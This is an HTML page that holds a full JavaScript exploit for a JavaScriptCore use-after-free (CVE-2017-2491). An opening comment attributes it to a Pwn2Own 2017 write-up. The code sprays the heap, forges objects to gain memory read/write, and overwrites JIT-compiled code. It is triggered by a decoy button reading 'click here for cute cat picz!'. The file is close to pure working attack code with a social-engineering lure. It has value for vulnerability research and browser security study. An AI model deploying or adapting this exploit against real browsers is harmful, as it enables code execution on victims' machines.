<!--
Sources:
https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf
https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html
Overview
The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS.
-->
<script>
function make_compiled_function() {
function target(x) {
return x*5 + x - x*x;
}
target(0);
return target;
}
function pwn() {
var haxs = new Array(0x100);
for (var i = 0; i < 0x100; ++i)
haxs[i] = new Uint8Array(0x100);
var hax = haxs[0x80];
var hax2 = haxs[0x81];
var target_func = make_compiled_function();
function set(p, i, a,b,c,d,e,f,g,h) {
p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
}
function spray() {
var res = new Uint8Array(0x7ffff000);
for (var i = 0; i < 0x7ffff000; i += 0x1000) {
for (var j = 0; j < 0x1000; j += 8)
set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);
var j = i+1+2*8;
set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);
}
return res;
}
var x = [
spray(), spray(), spray(), spray(),
spray(), spray(), spray(), spray(),
];
var buf = x[1];
var ary = new Array(0x10000000);
var cnt = 0;
var n = 0x40000;
var m = 10;
var regex = new RegExp("(ab)".repeat(n), "g");
var part = "ab".repeat(n);
var s = (part + "|").repeat(m);
var convert = new ArrayBuffer(0x20);
var cu = new Uint8Array(convert);
var cf = new Float64Array(convert);
set(cu, 0,
0,0,0,0,
8,
0,0,0);
var container = {
jsCellHeader: cf[0],
butterfly: hax,
};
while (1) {
s.replace(regex, function() {
for (var i = 1; i < arguments.length-2; ++i) {
if (typeof arguments[i] === 'string') {
ary[cnt++] = arguments[i];
continue;
}
var a = arguments[i];
var offset = a[2];
a[2] = container;
var addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + buf[offset + j];
addr += 16;
for (var j = 0; j < 8; ++j) {
buf[offset + j] = addr & 0xff;
addr /= 0x100;
}
var fakearray = a[2];
fakearray[2] = hax2;
a[2] = target_func;
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + buf[offset + j];
addr += 3*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
addr += 3*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
addr += 4*8;
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
addr = addr*0x100 + hax2[j];
for (var j = 0; j < 8; ++j) {
hax[16+j] = addr & 0xff;
addr /= 0x100;
}
hax2[0] = 0xcc;
hax2[1] = 0xcc;
hax2[2] = 0xcc;
target_func();
}
return "x";
});
}
}
</script>
<button onclick="pwn()">click here for cute cat picz!</button>